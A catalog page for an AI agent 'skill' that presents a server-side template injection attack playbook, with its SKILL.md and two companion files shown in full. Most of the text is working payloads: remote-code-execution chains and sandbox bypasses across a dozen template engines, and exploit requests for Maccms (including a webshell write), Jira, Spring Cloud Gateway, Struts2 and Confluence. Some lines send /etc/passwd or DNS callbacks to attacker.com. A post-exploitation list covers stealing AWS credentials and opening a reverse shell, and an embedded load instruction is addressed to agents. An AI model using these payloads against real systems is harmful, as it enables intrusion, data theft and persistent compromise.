
Ssti Server Side Template Injection
- 2.3k installs
- 1.5k repo stars
- Updated June 16, 2026
- yaklang/hack-skills
ssti-server-side-template-injection is an agent skill that tests SSTI with polyglot probes, engine fingerprinting, and per-engine RCE chains.
About
The ssti-server-side-template-injection skill covers expert SSTI with polyglot detection probes, engine fingerprinting, and RCE chains across Jinja2, Twig, FreeMarker, Velocity, ERB, Thymeleaf, and more. Detection sends double-brace, dollar-brace, hash, and Thymeleaf probes checking if math evaluates server-side not literally. Jinja2 versus Twig disambiguation uses seven-times-seven string versus numeric results. Engine-to-language mapping table links frameworks like Flask, Symfony, and Spring Boot. Sandbox escape sections document Jinja2 MRO chains, Twig and Freemarker RCE paths, and blind SSTI timing DNS techniques in ENGINE_PAYLOADS.md and SCENARIOS.md for Jira Velocity, Spring SpEL gateway, and PHP CMS eval templates. Routes to expression-language-injection when Java EL resolves separately. Use when template expressions, server-side rendering, preview features, or templating engines may evaluate attacker-controlled content. The workflow follows the source SKILL.md contract with progressive reference loading, clear trigger phrases, and practical steps developers can apply directly in agent sessions.
- Polyglot probes: double-brace, dollar-brace, hash, Thymeleaf star syntax.
- Jinja2 vs Twig disambiguation with seven-times-seven string multiplication.
- Engine mapping: Jinja2, Twig, FreeMarker, Velocity, ERB, Thymeleaf.
- SCENARIOS.md: Jira Velocity, Spring SpEL, Confluence OGNL, PHP CMS.
- Routes to expression-language-injection for Java EL disambiguation.
Ssti Server Side Template Injection by the numbers
- 2,304 all-time installs (skills.sh)
- +122 installs in the week ending Aug 5, 2026 (Skillselion tracking)
- Ranked #228 of 2,203 Security skills by installs in the Skillselion catalog
- Security screen: CRITICAL risk (skills.sh audit)
- Data as of Aug 5, 2026 (Skillselion catalog sync)
ssti-server-side-template-injection capabilities & compatibility
- Capabilities
- polyglot ssti detection probes · engine fingerprinting and disambiguation · per engine rce chain references · blind ssti timing and dns techniques · el injection routing for java stacks
- Use cases
- security audit · testing · debugging
What ssti-server-side-template-injection says it does
SSTI playbook.
npx skills add https://github.com/yaklang/hack-skills --skill ssti-server-side-template-injectionAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 2.3k |
|---|---|
| repo stars | ★ 1.5k |
| Security audit | 0 / 3 scanners passed |
| Last updated | June 16, 2026 |
| Repository | yaklang/hack-skills ↗ |
How do I fingerprint the template engine and escalate SSTI to RCE on Jinja2 or FreeMarker?
Test server-side template injection with polyglot probes, engine fingerprinting, and RCE chains for Jinja2, Twig, FreeMarker, Velocity, and ERB.
Who is it for?
Security engineers testing server-side template rendering, previews, and CMS template eval sinks.
Skip if: Skip when user input cannot reach template evaluation contexts.
When should I use this skill?
Use when template expressions or server-side rendering may evaluate attacker-controlled content.
What you get
Identified engine with detection probe results and engine-specific exploitation chain references.
- Engine fingerprint decision tree results
- Per-engine SSTI exploit payloads
By the numbers
- ENGINE_PAYLOADS.md documents per-engine fingerprint probes and payload matrices
Files
SKILL: Server-Side Template Injection (SSTI) — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert SSTI techniques. Covers polyglot detection probes, engine fingerprinting, Jinja2/FreeMarker/Twig/ERB RCE chains, client-side Angular SSTI, and bypass techniques. Base models often miss sandbox escape MRO chains and non-Jinja2 engines. For PHP CMS template eval, Jira SSTI, Confluence OGNL, and Spring Cloud Gateway SpEL, load the companion SCENARIOS.md.
0. RELATED ROUTING
Before using full engine-specific exploitation, you can first load:
- First use the polyglot probe sequence at the top of this file for low-noise fingerprinting
- expression-language-injection when
${7*7}or%{7*7}resolves in Java (SpEL/OGNL) — different attack surface from template engines
Extended Scenarios
Also load SCENARIOS.md when you need:
- Maccms 8.x PHP template
eval—{if-A:phpinfo()}{endif-A}invod-search, base64 bypass for webshell write - Jira CVE-2019-11581 — "Contact Administrators" form → Velocity template injection → command output in admin email
- Spring Cloud Gateway SpEL (CVE-2022-22947) — actuator route injection with
StreamUtils.copyToByteArrayfor output capture - Struts2 OGNL S2-045 (CVE-2017-5638) — Content-Type header OGNL injection with
_memberAccess/OgnlUtilblacklist clear - Confluence OGNL CVE-2021-26084 —
createpage-entervariables.actionwith\u0027unicode bypass - SSTI vs EL injection disambiguation guide
- Additional template engines: ASP.NET Razor, Elixir EEx, PHP Smarty/Latte/Blade, JS Pug/Handlebars/Nunjucks/EJS/Lodash + universal detection + blind SSTI + Flask PIN calculation
SCENARIOS.md reference (§7–§11): For expanded payloads and engine-specific notes on Razor, EEx/LEEx/HEEx, PHP stacks, JavaScript template engines, the universal polyglot probe, mathematical fingerprinting, blind SSTI (boolean / time / OOB), and Flask debug PIN prerequisites, see SCENARIOS.md. This skill keeps a short checklist in §13–§15.
Engine Payloads Reference
For extended engine-specific fingerprinting, payload matrices (Jinja2, Twig, Freemarker, Velocity, Pebble, Mako, Slim, Handlebars, Thymeleaf, Smarty, ERB, Jade/Pug), and blind SSTI detection techniques (timing-based, DNS-based), see ENGINE_PAYLOADS.md.
Universal detection & blind SSTI (pointer)
Use the polyglot payload and math probes in §1 and §13 first; when you need fuller blind-test patterns and per-engine examples (including non-Python stacks), follow SCENARIOS.md §11 and cross-check §14 here for technique names (boolean, time, OOB, error-based).
---
1. DETECTION — POLYGLOT PROBE SEQUENCE
First test: distinguish SSTI from XSS. Send these probes and check if math is evaluated server-side:
{{7*7}} → IF returns 49 (not {{7*7}}) → Jinja2 or Twig
${7*7} → IF returns 49 → FreeMarker, Velocity, or Java EL
#{7*7} → Ruby (ERB interpolation in strings)
<#assign x=7*7>${x} → FreeMarker
@{7*7} → Thymeleaf
*{7*7} → Thymeleaf SpEL (*{...})Jinja2 vs Twig disambiguation:
{{7*'7'}}
→ 7777777 = Jinja2 (Python string multiplication)
→ 49 = Twig (PHP numeric)Safe detection probe (no math, just boolean):
{{''.__class__}} → class 'str' = Python/Jinja2---
2. ENGINE-TO-LANGUAGE MAPPING
| Template Engine | Language | Framework |
|---|---|---|
| Jinja2 | Python | Flask, FastAPI |
| Django Templates | Python | Django |
| Mako | Python | Pyramid |
| Twig | PHP | Symfony, Laravel |
| Smarty | PHP | Various |
| FreeMarker | Java | Spring MVC |
| Velocity | Java | Various Java |
| Pebble | Java | Various Java |
| Thymeleaf | Java | Spring Boot |
| ERB | Ruby | Rails |
| Slim / Haml | Ruby | Rails |
| Jade / Pug | Node.js | Express |
| Handlebars | Node.js | Express |
| Tornado | Python | Tornado |
Identifying language from errors → then narrow to template engine.
---
3. JINJA2 (PYTHON FLASK) — RCE CHAINS
Chain 1: os module via __globals__
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}Chain 2: MRO subclass traversal (sandbox escape)
# List all subclasses:
{{''.__class__.__mro__[1].__subclasses__()}}
# Find subprocess.Popen index (usually around 258-270, varies by Python version):
# Look for "subprocess.Popen" in the list
# Execute command (replace [258] with correct index):
{{''.__class__.__mro__[1].__subclasses__()[258]('id', shell=True, stdout=-1).communicate()[0]}}Chain 3: request object globals (works when config blocked)
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}(Uses hex encoding to avoid _ filtering)
Chain 4: lipsum function globals (Flask built-in)
{{lipsum.__globals__.os.popen('id').read()}}Chain 5: cycler object
{{cycler.__init__.__globals__.os.popen('id').read()}}Finding correct subprocess index dynamically:
# In injection:
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if 'Popen' in c.__name__ %}
{{loop.index}}
{% endif %}
{% endfor %}---
4. JINJA2 SANDBOX BYPASS TECHNIQUES
When _ (underscore) is blocked:
# Use attr filter with hex encoding:
''|attr('\x5f\x5fclass\x5f\x5f')
# Use getattr via request object:
request|attr('args')|attr('__class__')When . (dot) is blocked:
# Use [] subscript notation:
''['__class__']
config['SECRET_KEY']When keywords (class, mro) are blocked:
Use hex/unicode in attr():
|attr('\x5f\x5fclass\x5f\x5f')
|attr('\x5f\x5fm\x72\x6F\x5f\x5f')When output encoding strips HTML entities:
Use |safe filter to prevent auto-escaping.
---
5. FREEMARKER (JAVA) — RCE
Execute Command via freemarker.template.utility.Execute
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}Alternative via ObjectConstructor:
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.lang.Runtime")?api.exec("id").inputStream))>
${br.readLine()}---
6. TWIG (PHP) — RCE
// Twig 1.x (before sandbox):
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
// Twig 2.x using built-ins:
{{['id']|map('system')|join}}
// via filter map:
{{app.request.server.all|join(',')}}---
7. VELOCITY (JAVA) — RCE
#set($str=$class.inspect("java.lang.Runtime").method.invoke($class.inspect("java.lang.Runtime").type, null))
#set($run=$str.exec("id"))
#set($out=$run.inputStream)Or more directly:
#set($class=$currentNode.getClass())
#set($rt=$class.forName("java.lang.Runtime"))
#set($proc=$rt.getMethod("exec",$class.forName("java.lang.String")).invoke($rt.getMethod("getRuntime").invoke(null),"id"))---
8. ERB (RUBY RAILS) — RCE
<%= system('id') %>
<%= `id` %>
<%= IO.popen('id').read %>
<%= File.read('/etc/passwd') %>---
9. THYMELEAF (JAVA SPRING) — RCE
Thymeleaf with Spring EL (SpEL):
// In th:text or th:fragment context:
__${T(java.lang.Runtime).getRuntime().exec("id")}__::type
// Fragment expression context:
__${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/sh","-c","id"}).getInputStream())}__::type---
10. CLIENT-SIDE TEMPLATE INJECTION (AngularJS)
When AngularJS is used client-side and user data flows into template expressions:
// AngularJS 1.x sandbox escape:
{{constructor.constructor('alert(1)')()}}
// 1.5.x:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
// 1.3.x:
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}Detection: send {{1+1}} — if page shows 2, AngularJS evaluates expressions in the DOM.
---
11. SSTI → FULL RCE PATH
SSTI detected → identify engine
├── Jinja2 → config.__globals__['os'].popen()
│ OR subclass traversal for Popen
├── FreeMarker → freemarker.template.utility.Execute?new()
├── Twig → _self.env.registerUndefinedFilterCallback('exec')
├── Velocity → java.lang.Runtime.exec()
├── ERB → <%= `cmd` %>
├── Thymeleaf → T(java.lang.Runtime).getRuntime().exec()
└── Angular CSTI → constructor.constructor('payload')()Post-RCE pivot: 1. Read /proc/self/environ — env vars with credentials 2. Read application config files — DB passwords, API keys 3. cat ~/.aws/credentials — cloud credentials 4. Reverse shell for persistence
---
12. COMMON INJECTION ENTRY POINTS
Where user data enters templates:
- URL path:
https://site.com/home?name={{7*7}} - Query parameters:
?message=Hello - HTML forms: profile name, bio, content fields
- Error pages:
404 Not Found: /PAYLOAD - Email templates: name in password reset emails
- Inline template rendering:
render_template_string(user_input)
Most dangerous: render_template_string() in Flask — entire user input used as template.
---
13. UNIVERSAL DETECTION PAYLOADS
Polyglot probe that triggers errors or evaluation in many engines:
${{<%[%'"}}%\.Mathematical probes for blind/error confirmation:
{{7*7}} → 49 (Jinja2, Twig, Nunjucks, Handlebars)
${7*7} → 49 (FreeMarker, Velocity, EL, Thymeleaf)
<%= 7*7 %> → 49 (ERB, EJS, EEx)
#{7*7} → 49 (Pug, Ruby interpolation)
@(7*7) → 49 (Razor)
{7*7} → 49 (Smarty)Error-based engine fingerprint (parser/stack traces often name the engine):
(1/0).zxy.zxy---
14. BLIND SSTI TECHNIQUES
- Boolean-based: Compare
(3*4/2)vs3*)2(/4— if the first resolves and the second errors, evaluation is likely - Time-based:
{{sleep(5)}}or the engine-specific equivalent for delay - OOB: DNS/HTTP callback via template expressions when direct output is not visible
- Error-based: Force different error messages based on true/false conditions
---
15. FLASK PIN CALCULATION
When Flask debug mode (Werkzeug debugger) is exposed but PIN-protected, the PIN is derived from host-specific values. Typical inputs for public PIN calculation scripts:
1. `username` — from /etc/passwd (the user running the Flask process) 2. Module name — often flask.app or Flask 3. Application path — app.py or the real main filename 4. MAC address — e.g. /sys/class/net/eth0/address, converted to decimal as Werkzeug expects 5. Machine ID — /etc/machine-id, or /proc/sys/kernel/random/boot_id combined with the first line of /proc/self/cgroup per Werkzeug’s algorithm 6. Compute PIN — use established open-source PIN calculators that implement the same algorithm from these values
Use only on systems you are authorized to test; obtaining these values implies prior access or an additional info-disclosure vector.
ENGINE_PAYLOADS.md — Extended SSTI Fingerprinting & Payload Matrix
Companion to SKILL.md. Contains per-engine payloads, fingerprint probes, and blind SSTI detection techniques.
---
1. ENGINE FINGERPRINTING DECISION TREE
Send: {{7*7}}
├── 49 → Jinja2 or Twig?
│ └── Send: {{7*'7'}}
│ ├── 7777777 → Jinja2 (Python string multiplication)
│ └── 49 → Twig (PHP numeric cast)
├── {{7*7}} (literal) → Not Jinja2/Twig, try others
│ └── Send: ${7*7}
│ ├── 49 → FreeMarker, Velocity, or EL?
│ │ └── Send: ${class.getClass()}
│ │ ├── Works → Velocity
│ │ └── Error → Send: <#assign x=1>${x}
│ │ ├── 1 → FreeMarker
│ │ └── Error → Java EL / Thymeleaf
│ └── ${7*7} (literal) → try #{7*7}, <%= 7*7 %>, {7*7}
│ ├── #{7*7} → 49 → Pug/Jade or Ruby interpolation
│ ├── <%= 7*7 %> → 49 → ERB (Ruby) or EJS (Node.js)
│ └── {7*7} → 49 → Smarty (PHP)
└── Error/500 → Check error message for engine name (stack trace fingerprint)---
2. JINJA2 (PYTHON)
Information disclosure
{{config}}
{{config.items()}}
{{request.environ}}
{{request.application.__globals__}}
{{self.__dict__}}
{{[].__class__.__base__.__subclasses__()}}RCE chains
# Via config globals
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# Via lipsum (Flask built-in)
{{lipsum.__globals__.os.popen('id').read()}}
# Via cycler
{{cycler.__init__.__globals__.os.popen('id').read()}}
# Via joiner
{{joiner.__init__.__globals__.os.popen('id').read()}}
# Via namespace
{{namespace.__init__.__globals__.os.popen('id').read()}}
# Via __import__ through builtins
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
# MRO subclass traversal (universal, no Flask dependency)
# Step 1: Find Popen class index
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if 'Popen' in c.__name__ %}{{loop.index0}}{% endif %}
{% endfor %}
# Step 2: Execute (replace INDEX)
{{''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate()[0]}}Sandbox bypass when _ is blocked
{{request|attr('\x5f\x5fclass\x5f\x5f')}}
{{''['\x5f\x5fclass\x5f\x5f']}}
{{config|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')}}
# Via request.args to smuggle blocked keywords
{{request.args.x.__class__}}&x=1
# Via request.cookies
{{request.cookies.get('\x5f\x5fclass\x5f\x5f')}}Sandbox bypass when . is blocked
{{config['SECRET_KEY']}}
{{''['__class__']['__mro__'][1]}}
{{()|attr('__class__')}}---
3. TWIG (PHP)
Information disclosure
{{_self}}
{{_self.env}}
{{_context}}
{{app.request.server.all|join(',')}}
{{app.request.cookies.all|join(',')}}RCE chains
{# Twig 1.x #}
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
{# Twig 1.x — system() #}
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("id")}}
{# Twig 2.x/3.x via filter map #}
{{['id']|map('system')|join}}
{{['id']|filter('system')}}
{{['cat /etc/passwd']|map('exec')|join}}
{# Twig 2.x — reduce with passthru #}
{{[0]|reduce('system','id')}}
{# Twig — setCache for remote include (Twig 1.x) #}
{{_self.env.setCache("ftp://attacker.com/")}}
{{_self.env.loadTemplate("shell")}}---
4. FREEMARKER (JAVA)
RCE via Execute
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
${ex("cat /etc/passwd")}RCE via ObjectConstructor
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign br=ob("java.io.BufferedReader",
ob("java.io.InputStreamReader",
ob("java.lang.ProcessBuilder",["id"]).start().getInputStream()))>
${br.readLine()}RCE via JythonRuntime (if Jython available)
<#assign jr="freemarker.template.utility.JythonRuntime"?new()>
<@jr>import os; os.system("id")</@jr>File read
<#assign file=object("java.io.File","/etc/passwd")>
<#assign reader=object("java.util.Scanner",file)>
${reader.useDelimiter("\\A").next()}---
5. VELOCITY (JAVA)
RCE chains
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('id'))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$chr.toChars($out.read())#endAlternative via ClassTool
#set($proc=$class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))
#set($reader=$class.inspect("java.io.BufferedReader").type.getDeclaredConstructor(
$class.inspect("java.io.Reader").type).newInstance(
$class.inspect("java.io.InputStreamReader").type.getDeclaredConstructor(
$class.inspect("java.io.InputStream").type).newInstance($proc.getInputStream())))
$reader.readLine()---
6. PEBBLE (JAVA)
{% set cmd = 'id' %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE.forName('java.lang.String')
.getDeclaredConstructors()[0]
.newInstance(([bytes]) ) }}Alternative (shorter):
{{ (1).TYPE.forName("java.lang.Runtime").methods[6].invoke(null,null).exec("id") }}---
7. MAKO (PYTHON)
${self.module.cache.util.os.popen('id').read()}Alternative chains:
<%
import os
x = os.popen('id').read()
%>
${x}
<%
import subprocess
x = subprocess.check_output(['id'])
%>
${x}Mako executes Python code directly within <% %> blocks — no sandbox to escape.
---
8. SLIM (RUBY)
#{`id`}
#{ system('id') }
#{ IO.popen('id').read }
#{ File.read('/etc/passwd') }Slim and Haml support Ruby interpolation in #{ } blocks — same as ERB <%= %>:
= `id`
= system('whoami')---
9. HANDLEBARS (NODE.JS)
Handlebars is "logic-less" by design, but prototype pollution or helper registration can enable RCE:
RCE via constructor access
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('id')"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}Information leak
{{this}}
{{this.constructor}}
{{#each this}}{{@key}}: {{this}}{{/each}}---
10. THYMELEAF (JAVA / SPRING)
SpEL-based RCE
// In fragment selector context
__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
// With output capture
__${T(org.apache.commons.io.IOUtils).toString(
T(java.lang.Runtime).getRuntime().exec(
new String[]{"/bin/sh","-c","id"}).getInputStream()
)}__::.x
// In th:text or th:utext attribute
${T(java.lang.Runtime).getRuntime().exec('id')}
// URL-based injection (Spring view name resolution)
GET /doc/__${T(java.lang.Runtime).getRuntime().exec('id')}__::.xPre-processing expression __${...}__
Thymeleaf pre-processes __${expr}__ before template rendering — this is the primary injection vector when view names are user-controlled.
File read via SpEL
${T(java.nio.file.Files).readString(T(java.nio.file.Path).of('/etc/passwd'))}---
11. SMARTY (PHP)
{system('id')}
{exec('id')}
{passthru('id')}
{php}system('id');{/php}
{# Smarty 3.x — {php} tags disabled by default, use: #}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system('id');?>",self::clearConfig())}
{# Information disclosure #}
{$smarty.version}
{$smarty.template}
{$smarty.server.SERVER_NAME}---
12. ERB (RUBY)
<%= system('id') %>
<%= `id` %>
<%= exec('id') %>
<%= IO.popen('id').read %>
<%= open('|id').read %>
<%= %x(id) %>
<%= File.read('/etc/passwd') %>
<%= Dir.entries('/') %>ERB has no sandbox — any Ruby code executes directly.
---
13. JADE / PUG (NODE.JS)
#{root.process.mainModule.require('child_process').execSync('id')}
- var x = root.process.mainModule.require('child_process').execSync('id').toString()
p= x
#{global.process.mainModule.require('child_process').execSync('id').toString()}File read
- var fs = root.process.mainModule.require('fs')
p= fs.readFileSync('/etc/passwd','utf8')---
14. BLIND SSTI DETECTION
When template output is not directly visible in the response:
Timing-based
# Jinja2
{{range(10000000)|list}} → CPU spike / slow response
{{''.__class__.__mro__[1].__subclasses__()[INDEX]('sleep 5',shell=True)}}
# Twig
{{['sleep 5']|map('system')}}
# FreeMarker
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("sleep 5")}
# Velocity
#set($x=''.class.forName('java.lang.Runtime').getRuntime().exec('sleep 5'))
# ERB
<%= sleep(5) %>
# Smarty
{system('sleep 5')}Compare response time: baseline vs payload. 5+ second delta = confirmed blind SSTI.
DNS-based (OOB)
# Jinja2
{{lipsum.__globals__.os.popen('nslookup TOKEN.attacker.com').read()}}
# Twig
{{['nslookup TOKEN.attacker.com']|map('system')}}
# FreeMarker
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("nslookup TOKEN.attacker.com")}
# ERB
<%= `nslookup TOKEN.attacker.com` %>
# Pug/Jade
#{root.process.mainModule.require('child_process').execSync('nslookup TOKEN.attacker.com')}DNS hit on Burp Collaborator / interactsh = confirmed blind SSTI with RCE.
Error-based fingerprinting
Force a parser error — the error message or stack trace often names the engine:
${{<%[%'"}}%\.Parse errors from different engines:
jinja2.exceptions.TemplateSyntaxError→ Jinja2Twig\Error\SyntaxError→ Twigfreemarker.core.ParseException→ FreeMarkerorg.apache.velocity.exception.ParseErrorException→ VelocitySyntaxErrorwith Pug stack → Pug/Jade
SSTI — Extended Scenarios & Real-World Cases
Companion to SKILL.md. Contains additional CVE cases, PHP template exploitation, and expression language crossover scenarios.
---
1. CVE Case: Maccms 8.x PHP Template Eval
Maccms (a Chinese CMS) uses eval() to process template variables in search functionality:
Attack path: /vod-search endpoint passes user input into template evaluation.
# Step 1: Identify injection point
GET /index.php?m=vod-search&wd={if-A:phpinfo()}{endif-A}
# Step 2: Write webshell (bypass quote filtering via base64):
GET /index.php?m=vod-search&wd={if-A:eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3NoZWxsLnBocCcsJzw/cGhwIGV2YWwoJF9QT1NUW2FdKTs/PicpOw=='))}{endif-A}
# base64 decodes to: file_put_contents('shell.php','<?php eval($_POST[a]);?>');
# Step 3: Access webshell
POST /shell.php
a=system('id');Key technique: base64 encoding to bypass quote/special character filtering in template context.
---
2. CVE Case: Atlassian Jira SSTI (CVE-2019-11581)
Jira's "Contact Administrators" form processes template expressions in the subject/body:
Prerequisites: "Contact Administrators Form" must be enabled; SMTP must be configured.
# Step 1: Navigate to /secure/ContactAdministrators!default.jspa
# Step 2: In the subject or message field, inject:
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('id')
# Step 3: Submit the form
# Step 4: Check email queue or admin notification for command outputNote: Output appears in the email sent to administrators, not in the HTTP response. Monitor outbound email or use OOB techniques (DNS/HTTP callback).
---
3. Spring Cloud Gateway SpEL Injection (CVE-2022-22947)
Spring Cloud Gateway's actuator endpoint allows adding routes with SpEL expressions in filter arguments:
# Add malicious route:
POST /actuator/gateway/routes/pwn HTTP/1.1
Content-Type: application/json
{
"id": "pwn",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "X-Pwn",
"value": "#{T(java.lang.Runtime).getRuntime().exec('id')}"
}
}],
"uri": "http://example.com",
"predicates": [{"name": "Path", "args": {"_genkey_0": "/pwn/**"}}]
}
# Refresh to apply:
POST /actuator/gateway/refresh
# Trigger:
GET /pwn/anything
# Check X-Pwn response header for command outputAlso see the dedicated expression-language-injection skill for SpEL/OGNL deep dives.
---
4. Struts2 OGNL → RCE (S2-045 / CVE-2017-5638)
Content-Type header with OGNL expression triggers evaluation in Struts2's multipart parser:
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}Also see expression-language-injection for the full OGNL treatment.
---
5. Confluence OGNL Injection (CVE-2021-26084)
Confluence Server's createpage-entervariables.action evaluates OGNL in query parameters:
# Probe:
curl -X POST 'https://TARGET/pages/createpage-entervariables.action' \
-d 'queryString=\u0027%2b{3*3}%2b\u0027'
# If response contains "9" → confirmed
# RCE:
curl -X POST 'https://TARGET/pages/createpage-entervariables.action' \
-d 'queryString=\u0027%2b{Class.forName("java.lang.Runtime").getMethod("exec",Class.forName("java.lang.String")).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}%2b\u0027'---
6. SSTI vs EL Injection — When to Cross-Reference
| Indicator | Go To |
|---|---|
{{7*7}} returns 49, Python error traces | Stay here (Jinja2/Twig SSTI) |
${7*7} returns 49, Java stack traces | expression-language-injection |
%{7*7} returns 49, Struts2 errors | expression-language-injection |
Template syntax with {if-A:...} style | PHP CMS template eval (this file, scenario 1) |
---
7. Additional Template Engines — ASP.NET Razor
// Detection
@(1+2) // Returns 3
// Code execution block
@{
var proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "cmd.exe";
proc.StartInfo.Arguments = "/c whoami";
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.UseShellExecute = false;
proc.Start();
var output = proc.StandardOutput.ReadToEnd();
}
<p>@output</p>---
8. Additional Template Engines — Elixir EEx/LEEx/HEEx
# Basic detection
<%= 7*7 %>
# Command execution
<%= elem(System.shell("id"), 0) %>
<%= System.cmd("cat", ["/etc/passwd"]) |> elem(0) %>
# File read
<%= File.read!("/etc/passwd") %>
# Error-based detection
<%= elem(System.shell("invalid_cmd"), 1) %>
# Boolean-based
<%= if elem(System.shell("test -f /etc/passwd"), 1) == 0, do: "EXISTS", else: "NOPE" %>
# Time-based
<%= System.shell("sleep 5") %>---
9. Additional Template Engines — PHP Engines
Smarty (versions matter)
// Smarty 2.x (deprecated but still found)
{php}system('id');{/php}
// Smarty 3.x+ ({php} removed, use tags)
{system('id')}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['c']); ?>",self::clearConfig())}
// Self-reading
{self::getStreamVariable("file:///etc/passwd")}Latte (Nette framework)
{php system('id')}
{='id'|system}Blade (Laravel) — Rarely exploitable server-side
// Raw output (if user controls template source)
{!! system('id') !!}
// @php directive
@php system('id') @endphpPlates (PHP)
<?php system('id') ?>
// Plates uses raw PHP, so any PHP in template = RCE---
10. Additional Template Engines — JavaScript Stack
Universal Node.js Chain
// Works across many JS template engines:
global.process.mainModule.require('child_process').execSync('id').toString()Pug (formerly Jade)
// Detection
#{7*7}
// RCE
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").execSync("id").toString();return sh}()}Handlebars (older versions RCE chain)
// Requires prototype pollution or specific Handlebars version
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('id');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}Nunjucks
// Detection
{{7*7}}
// RCE
{{range.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")()}}EJS
// Detection: <% %> tags
<%= 7*7 %>
// RCE
<%= global.process.mainModule.require('child_process').execSync('id').toString() %>Lodash (_.template)
// Detection
${7*7}
// RCE
${global.process.mainModule.require('child_process').execSync('id')}---
11. Universal SSTI Detection & Blind Techniques
Universal Detection Payload
${{<%[%'"}}%\.This triggers errors in most template engines, revealing the engine type via error messages.
Mathematical Detection
{{7*7}} → Jinja2, Twig, Nunjucks
${7*7} → FreeMarker, Velocity, EJS, Lodash
<%= 7*7 %> → ERB, EJS, EEx
#{7*7} → Pug, Slim
@(7*7) → Razor
{7*7} → Smarty
(1/0).zxy → Error-based detectionBlind SSTI (no output reflected)
# Boolean-based: compare response length/content for true vs false conditions
{{(3*4/2)==6}} vs {{(3*4/2)==7}}
# Time-based (Jinja2):
{% for i in range(10000000) %}{% endfor %}
# OOB (out-of-band):
# Jinja2: {{''.__class__.__mro__[1].__subclasses__()[X]('curl attacker.com/'+open('/etc/passwd').read(),shell=True)}}Flask Debug PIN Calculation
When Flask debug mode is enabled, calculate the PIN from leaked files:
Required values:
1. username: /etc/passwd → find flask process owner
2. modname: usually "flask.app"
3. appname: usually "Flask"
4. modpath: /path/to/flask/app.py (from error page)
5. MAC address: /sys/class/net/eth0/address → convert to decimal
6. machine-id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup (first hex after last /)
